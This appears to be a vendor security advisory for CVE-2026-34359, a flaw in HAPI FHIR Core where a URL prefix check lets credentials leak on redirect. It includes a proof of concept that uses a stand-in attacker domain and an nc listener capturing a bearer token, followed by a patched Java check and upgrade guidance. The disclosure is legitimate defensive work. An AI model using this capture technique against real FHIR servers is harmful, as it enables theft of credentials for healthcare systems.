CVE-2026-34359

HAPI FHIR Core has Authentication Credential Leakage via Improper URL Prefix Matching on HTTP Redirect

public static ServerDetailsPOJO getServer(String url, Iterable<ServerDetailsPOJO> serverAuthDetails) {
    if (serverAuthDetails != null) {
      for (ServerDetailsPOJO serverDetails : serverAuthDetails) {
          if (url.startsWith(serverDetails.getUrl())) {  // <-- no host boundary check
            return serverDetails;
          }
      }
    }
    return null;
}

protected static final String TX_SERVER_PROD = "http://tx.fhir.org";

// This demonstrates the core vulnerability
String configuredUrl = "http://tx.fhir.org";  // FhirSettingsPOJO.TX_SERVER_PROD
String attackerUrl = "http://tx.fhir.org.attacker.com/capture";

System.out.println(attackerUrl.startsWith(configuredUrl));
// Output: true

{
  "servers": [
    {
      "url": "http://tx.fhir.org",
      "authenticationType": "token",
      "token": "secret-bearer-token-12345"
    }
  ]
}

# On attacker-controlled server (tx.fhir.org.attacker.com)
nc -l -p 80 | head -20
# Output includes:
# GET /capture HTTP/1.1
# Host: tx.fhir.org.attacker.com
# Authorization: Bearer secret-bearer-token-12345

• Credential theft: Bearer tokens, Basic authentication passwords, API keys, and custom authentication headers configured for FHIR terminology servers can be exfiltrated by an attacker who can inject a redirect (via MITM, compromised CDN, or DNS poisoning).
• Impersonation: Stolen credentials allow an attacker to make authenticated requests to the legitimate FHIR server, potentially accessing or modifying clinical terminology data.
• Broad exposure: The FHIR Validator is widely used in healthcare IT for validating FHIR resources. Any deployment that configures server authentication in fhir-settings.json and makes outbound HTTP requests to terminology servers is affected.
• TLS downgrade: The same startsWith() pattern in ManagedWebAccess.isLocal() could allow an attacker-controlled domain to be treated as "local," bypassing the HTTPS enforcement.

CVE-2026-34359 has a CVSS score of 7.4 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (6.9.4); upgrading removes the vulnerable code path.

Kodem intelligence

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Replace the startsWith() check in ManagedWebAccessUtils.getServer() with proper URL host boundary validation:

public static ServerDetailsPOJO getServer(String url, Iterable<ServerDetailsPOJO> serverAuthDetails) {
    if (serverAuthDetails != null) {
      for (ServerDetailsPOJO serverDetails : serverAuthDetails) {
          if (urlMatchesServer(url, serverDetails.getUrl())) {
            return serverDetails;
          }
      }
    }
    return null;
}

/**
 * Check if a URL matches a configured server URL with proper host boundary validation.
 * After the configured prefix, the next character must be '/', '?', '#', ':', or end-of-string.
 */
private static boolean urlMatchesServer(String url, String serverUrl) {
    if (url == null || serverUrl == null) return false;
    if (!url.startsWith(serverUrl)) return false;
    if (url.length() == serverUrl.length()) return true;
    char nextChar = url.charAt(serverUrl.length());
    return nextChar == '/' || nextChar == '?' || nextChar == '#' || nextChar == ':';
}

Apply the same fix to ManagedWebAccess.isLocal() at line 214 and the three-argument getServer() overload at line 14.

Additionally, consider re-introducing the host-equality check for redirects in SimpleHTTPClient (as was previously implemented in commit 6b615880 but removed in 3871cc69) to provide defense-in-depth against credential leakage on cross-origin redirects.

1. What is CVE-2026-34359? CVE-2026-34359 is a high-severity security vulnerability in ca.uhn.hapi.fhir:org.hl7.fhir.core (maven), affecting versions < 6.9.4. It is fixed in 6.9.4.
2. How severe is CVE-2026-34359? CVE-2026-34359 has a CVSS score of 7.4 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which packages are affected by CVE-2026-34359?
   • ca.uhn.hapi.fhir:org.hl7.fhir.core (maven) (versions < 6.9.4)
   • ca.uhn.hapi.fhir:org.hl7.fhir.utilities (maven) (versions < 6.9.4)
4. Is there a fix for CVE-2026-34359? Yes. CVE-2026-34359 is fixed in 6.9.4. Upgrade to this version or later.
5. Is CVE-2026-34359 exploitable, and should I be worried? Whether CVE-2026-34359 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-34359 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-34359?
   • Upgrade ca.uhn.hapi.fhir:org.hl7.fhir.core to 6.9.4 or later
   • Upgrade ca.uhn.hapi.fhir:org.hl7.fhir.utilities to 6.9.4 or later

Other vulnerabilities in ca.uhn.hapi.fhir:org.hl7.fhir.core